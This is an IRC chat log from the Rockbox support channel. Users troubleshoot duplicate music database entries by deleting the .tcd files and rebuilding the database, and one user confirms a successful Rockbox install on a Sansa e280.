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| 23:16:41 | ddalton | Bagder: so are you going to pm me the info? my irc client doesn't automatically alert me of pms when I am in the #rockbox window. Perhaps its a screenreader issue... |
| 23:17:04 | Bagder | ddalton: oh, yeah I already PMed you |
| 23:17:35 | scorche|w | Bagder: you arent identified |
| 23:17:40 | Bagder | oh |
| 23:17:47 | Bagder | silly me |
| 23:18:29 | Bagder | thanks scorche|w |
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| 23:19:36 | peppot | double entries in database: rebuild of db to fix? |
| 23:21:00 | scorche|w | peppot: that *typically* comes from a "trash/recyclebin/etc" hidden folder on the device that your computer's OS makes |
| 23:22:03 | peppot | yes, could be. but I've never deleted this album on my ipod, and I only copy via rhythmbox/apple firmware copying mode |
| 23:22:11 | peppot | (i.e. no manual copying) |
| 23:22:33 | scorche|w | you could place both copies in a playlist together and see the file path for each |
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| 23:23:18 | peppot | ah. is there a way to see the path in the GUI? |
| 23:23:42 | peppot | (I have only a usb-less terminal here) |
| 23:23:54 | Llorean | You could open the playlist in the text viewer |
| 23:25:18 | peppot | awesome |
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| 23:25:49 | peppot | quick rundown of open etc? |
| 23:27:46 | peppot | otherwise documentation for applications is in the manual? |
| 23:28:31 | Llorean | There's an open with option in the context menu, and yes, it's pretty much covered in the manual |
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| 23:30:31 | Akula | Okay, im doing the manual install on my e280. The instructions on the wiki tell me that I need to be logged in as an administrator; how do I check that I am? |
| 23:31:31 | peppot | scorche|w: it lists the same path for duplicate files |
| 23:32:10 | scorche|w | then try deleting all of the *.tcd files and rebuild |
| 23:33:16 | Akula | okay, dont worry, i've done it. Rockbox bootloader installed correctly. Moment of truth, about to unplug the sansa and see if it works... |
| 23:33:30 | peppot | scorche|w: aight |
| 23:35:28 | peppot | scorche|w: I deleted the .tcds and entered Database> and now it's working: "Building database... 4882 found"... |
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| 23:36:20 | Akula | woo! my sansa e280 now has rockbox installed and working. A big thanks to you guys! |
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| 23:37:05 | peppot | I'm surprised it could determine how many files there were so quickly...? |
| 23:37:35 | Bagder | the turbo button is always pressed in rockbox ;-P |
| 23:37:42 | peppot | =) |
| 23:37:50 | peppot | hm |
| 23:37:55 | peppot | there's absolutely no disk activity... |
| 23:38:11 | peppot | oh well, I'll let it sit for a while |
| 23:38:16 | peppot | need to get some sleep |
| 23:38:29 | peppot | thanks for the help scorche|w, Llorean |
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